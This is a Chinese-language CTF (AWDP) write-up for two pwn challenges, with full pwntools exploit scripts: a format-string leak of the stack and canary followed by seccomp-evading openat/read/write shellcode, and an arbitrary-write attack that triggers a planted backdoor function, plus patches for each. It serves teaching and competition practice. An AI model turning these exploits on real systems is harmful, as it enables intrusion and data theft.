前言
打过的最离谱的AWDP比赛,8个web,2个pwn。
准备了很久高版本IO、LLVM、Protobuf和Kernel,结果出了2个没libc的栈题。
存在一个严重问题,Break和Fix的靶机是同一个,Fix时会把靶机环境替换。
(明显是AWD平台改的,只是把提交别人Flag得分改为提交自己Flag得分,然后加了Check功能)
(这样的话完全可以上传后门函数或者Shell直接拿下自己靶机得到Flag)
往年华东北的Pwn题是所有赛区最难的,今年成最简单的了,给了2个栈签到题。
抛开题目和靶场不说,给茶歇点赞,空调也很给力。(差点冻死
开局5分钟就看到有人把2个pwn题ak了,这里写一下正解。
Pwn1(ret2shellcode)
Break
沙箱保护
开启了沙箱保护,禁用execve和open:
➜ pwn1 seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0011
0006: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0011
0007: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0011
0008: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0011
0009: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
main函数
拖入IDA分析:
菜单,1是栈溢出,2是格式化字符串。并且程序没开启NX保护,栈上可以同时写和执行。
利用思路
直接ret2shellcode执行syscall即可打orw,禁用open用openat替换即可。
通过格式化字符串泄露栈地址和canary,然后写入shellcode,覆盖返回地址为栈地址即可。
由于我写的shellcode比较长,分了2段来执行,也可以优化下汇编一次执行完。
exp
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
# p = process([elf.path])
p = remote('192.55.1.156', '80')
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# gdb.attach(p, 'b *$rebase(0x14B7)\nc')
# pause()
# leak stack
p.sendlineafter(b'name\n', b'1')
p.sendafter(b'name\n', b'%18$p')
p.sendlineafter(b'name\n', b'2')
p.recvuntil(b'0x')
buf_addr = int(p.recv(12), 16) - 0x60
success('buf_addr = ' + hex(buf_addr))
# leak canary
p.sendlineafter(b'name\n', b'1')
p.sendafter(b'name\n', b'a' * 0x49)
p.sendlineafter(b'name\n', b'2')
p.recvuntil(b'a' * 0x49)
canary = u64(p.recv(7).rjust(8, b'\x00'))
success('canary = ' + hex(canary))
# ret2shellcode
shellcode = asm("""
mov rax, 0x67616c662f2e ;// ./flag
push rax
mov rdi, -100
mov rsi, rsp
xor rdx, rdx
mov rax, 257 ;// SYS_openat
syscall
mov rdi, rax ;// fd
mov rsi, {} ;
mov rdx, 0x20 ;// nbytes
xor rax, rax ;// SYS_read
syscall
mov rax, {}
push rax
ret
""".format(buf_addr, buf_addr + 0x60))
print(hex(len(shellcode)))
shellcode = shellcode.ljust(0x48, b'\x00')
shellcode += p64(canary) + p64(0xdeadbeef) + p64(buf_addr)
shellcode += asm('''
mov rdi, 1 ;// fd
mov rsi, {} ;// buf
mov rax, 1 ;// SYS_write
syscall
mov rdi, 123 ;// error_code
mov rax, 60
syscall
'''.format(buf_addr))
print(len(shellcode))
p.sendlineafter(b'name\n', b'1')
p.sendafter(b'name\n', shellcode)
# gdb.attach(p, 'b *$rebase(0x14D7)')
# pause()
p.sendlineafter(b'name\n', b'3')
p.interactive()
Fix
Fix很简单,直接把0x60栈溢出改为0x40即可。
Pwn2(backdoor)
Break
还原符号表
题目是静态编译的,可以先导入符号表还原符号:
定位main函数
然后根据字符串交叉引用定位到main函数:
提供几个函数,ls为空函数,其它函数逐个分析。
add函数
add函数:
会在qword_4E82F0分配一个空间,每个空间大小为12。
初始位置为8(即size),偏移量为4的地方可以写入8字节数据。
edit函数
edit函数:
任意地址写。
del函数
del函数:
没用,清空数据。
get函数
get函数:
任意地址读。
check函数
check函数:
调用sub_401D6A函数读取flag,并返回flag的前8个字符。
然后,将flag的前8个字符赋值给magic,并调用evalMagic函数:
它会循环四次,判断前4个空间的值是否和magic相等。如果都相等调用后门函数读取Flag并输出:
利用思路
利用思路很简单,任意写、任意读、存在后门函数。
先让程序执行一次check将flag的前8字节读入到可分配的空间中。
然后任意地址读读出来flag的前8字节,此时magic的值即这8个字节。
然后循环计算出magic的值,通过任意地址写满足if的条件触发后门函数即可。
exp
from pwn import *
elf = ELF("./pwn")
# p = process([elf.path])
p = remote('192.55.1.50', '80')
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# malloc 4 chunks
id = []
for i in range(4):
p.sendline(b'2')
p.recvuntil(b'flag\n')
p.recvuntil(b'flag\n')
p.recvuntil(b'flag\n')
p.recvuntil(b'flag\n')
p.recvuntil(b'flag\n')
p.recvuntil(b'flag\n')
p.recvuntil(b':')
id.append(int(p.recvuntil(b'\x0d\x0a\x3d\x3d\x3d\x3d\x3d', drop=True)[-15:]))
# gdb.attach(p, 'b *0x402117\nc')
# pause()
for x in id:
print(hex(x))
# leak flag
# p.sendline(b'5')
# p.sendline(str(id[3] + 12).encode())
# magic = 0x4142467b67616c66
# arbitrary_write
n64 = lambda x: (x + 0x10000000000000000) & 0xFFFFFFFFFFFFFFFF
magic = 0x4142467b67616c66
for i in range(4):
magic = (n64(n64(0x5851F42D4C957F2D * magic) + 12345)) & 0x7FFFFFFFFFFFFFFF
p.sendline(b'3')
p.sendline(str(id[i]).encode())
p.sendline(str(magic).encode())
# check
p.sendline(b'6')
p.interactive()
Fix
Fix实在没什么好说的,后门函数是作者故意写的,而且留了可以任意写和读的漏洞。
刚开始想着正解把任意写和任意读迁移到eh_frame段执行正确的清空和读取操作,但是check失败了。
最后想想这个后门函数也不合理,直接把后门函数nop掉就防御成功了,也就没再深究,很无语。
题目附件
关注公众号【Real返璞归真】回复【ciscn】下载题目附件。